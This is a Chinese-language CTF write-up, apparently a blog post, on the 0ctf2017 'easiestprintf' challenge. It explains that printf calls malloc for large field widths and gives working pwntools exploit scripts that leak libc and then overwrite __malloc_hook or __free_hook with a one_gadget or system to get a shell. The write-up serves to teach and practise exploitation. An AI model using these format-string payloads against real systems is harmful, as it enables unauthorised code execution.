利用printf调用malloc getshell&&0ctf2017_easiestprintf

首先题目名字严重…漏洞看上去很简单,但真的好难

0ctf2017_easiestprintf

0ctf2017_easiestprintf

题目分析

最难的题目往往代码很简单

保护

RELRO 全开,也就是不能修改fini,init,got表来劫持控制流,那么应该怎么做呢,同时也开了NX和canary
在这里插入图片描述

源码

在这里插入图片描述

do_read

在这里插入图片描述
可以泄露一个值,我们可以用got泄露libc

leave

格式化字符串漏洞,但只有一次
在这里插入图片描述

攻击

泄露libc

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]

这个就是基本操作了

如何劫持控制流

一般来说我们可以修改exit got表为main函数再来一遍或者直接指向one_gaget,但这里got不可以修改,fini也不能改,当时真的蒙了
后来经过提醒才发现,printf会调用malloc,而__malloc_hook和__free_hook都是可以修改的

printf源码分析

#include<stdio.h>
int main(){
    printf("%1c");
}

主要原理就是当printf输出的字符过多的时候,会调用malloc来处理
我们大概放一下源码

if (width >= WORK_BUFFER_SIZE - 32)
   1500         {
   1501           /* We have to use a special buffer.  The "32" is just a safe
   1502              bet for all the output which is not counted in the width.  */
   1503           size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);
 ► 1504           if (__libc_use_alloca (needed))
   1505             workend = (CHAR_T *) alloca (needed) + width + 32;
   1506           else
   1507             {
   1508               workstart = (CHAR_T *) malloc (needed);

这里的width是什么大概也能猜出来就是我们输出的长度,我们来调试一下
在这里插入图片描述
第一次的widht是1,很明显因为%c的功能,我们来看看第一个check是多少
在这里插入图片描述
也就是wdith首先要大于1000-32
在这里插入图片描述
然后回转化为needed,其实就是+32
在这里插入图片描述
然后我们想进入else,也要过第一个check
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以第一次失败,我们改成65537
在这里插入图片描述
额这里忘记会加上32,不过当然也过了check
在这里插入图片描述
我们看到这个时候malloc传入的就是我们printf输出的长度+32的结果
在这里插入图片描述

workstart保存的堆地址
在这里插入图片描述
这里会free workstart
在这里插入图片描述
但可以看到workstart里面并没有内容,最开始我还想通过把free-hook写成system,然后里面字符串写上/bin/sh,但发现好像再free的时候里面是没有内容的,额应该只是一个缓冲区,并不能保存
然后我考虑用one_gaget,但好像题目libc-2.23的我用不了,都挂了…

大概的逻辑我们差不多就知道了,现在我们来结合题目具体调试一下吧
由于之前调试没有32位的环境,刚才把32位的装好,大概思路差不多,但也有一点细微的差别
触发的具体位置不太一样了,但有一点细节要注意
printf他是一个个处理格式化字符串的
我们可以这样理解,他从前往后扫描,然后会比较每一次需要输出的内容长度,如果单次的长度够长的话就可以进入malloc
在这里插入图片描述

这里第一次实验我把触发malloc放在了后面,进去的时候__free_hook已经被修改了
在这里插入图片描述

第二次实验
在这里插入图片描述

在这里插入图片描述

小结

printf有以下特性

  • 他是从前往后扫描格式化字符串,依次执行
  • 每执行一个格式化字符串,都会去比较输出的大小,单次大小>65536-32,就会进入malloc
  • 上面特性区别于%c%n,%n会计算前面所有的输出长度

开始利用

这里由于free的时候堆里面没有内容,所以mem其实里面内容不能控,唯一能够的只有malloc的bytes,如果bytes也就是大小刚好是/bin/sh的地址,可以通过__malloc_hook getshell
但是在使用上述攻击之前,可以先尝试使用one_gadget

__free_hook替换成gadget

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
one_gadget_addr = one_gadget[1] + libc_base
payload = fmtstr_payload(7, {free_hook_addr: one_gadget_addr}) + b"%65535c"
debug()
sla(b"Good Bye\n", payload)
it()

在这里插入图片描述
由于按照先后顺序执行,可以看到我们的free-hook被修改了
堆内容确实不可控
在这里插入图片描述
结果发现打不通,再试试__malloc_hook

__malloc_hook换成one_gagdet

居然打通了

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
one_gadget_addr = 0x3A819 + libc_base
payload = (
    fmtstr_payload(7, {malloc_hook_addr: one_gadget_addr}) + f"%{65536-31}c".encode()
)
# debug()
sla(b"Good Bye\n", payload)
it()

在这里插入图片描述

最后一种解法

由于malloc_hook的参数可控,那么我们先做现在几个事情
1.malloc_hook改成system_addr
2.找data地方写个/bin/sh\0
这里由于data太短了,就写个sh

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
sh_addr = 0x0804A001
system_addr = libc_base + libc.sym["system"]
payload = (
    fmtstr_payload(7, {malloc_hook_addr: system_addr, sh_addr: b"sh\0"})
    + f"%{0x0804A001-32}c".encode()
)
sla(b"Good Bye\n", payload)
it()

注意几个问题
sh_addr里面不要有\x00,不然printf到那个地方就不执行了,因为我们最后触发malloc一定要在所有值都被修改之后才可以执行,而我们fmtstr_payload的原理就是会在栈上放置对应的地址,一般是以bytes来写也就是hhn,所以会放addr+1,add+2,addr+3,add+4,这里我专门偏移防止\x00截断
但我们在payload里面要写\x0其实不影响的
然后最后bytes记得-32,因为printf调用malloc之前是这样计算的
实际需要输出的size+32
所以要-32
在这里插入图片描述

libc-2.27

在libc-2.27修复了一些东西
在这里插入图片描述
这里的read_int其实就是从我们输入的长度里面读一个int出来
在这里插入图片描述
在这里插入图片描述
如果大于214748364就会变成-1,相当失去了效果
所以这里就不太能够把malloc里面的bytes控成一个比较大的bytes,所以遇到这种情况还是打one_gagegt

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值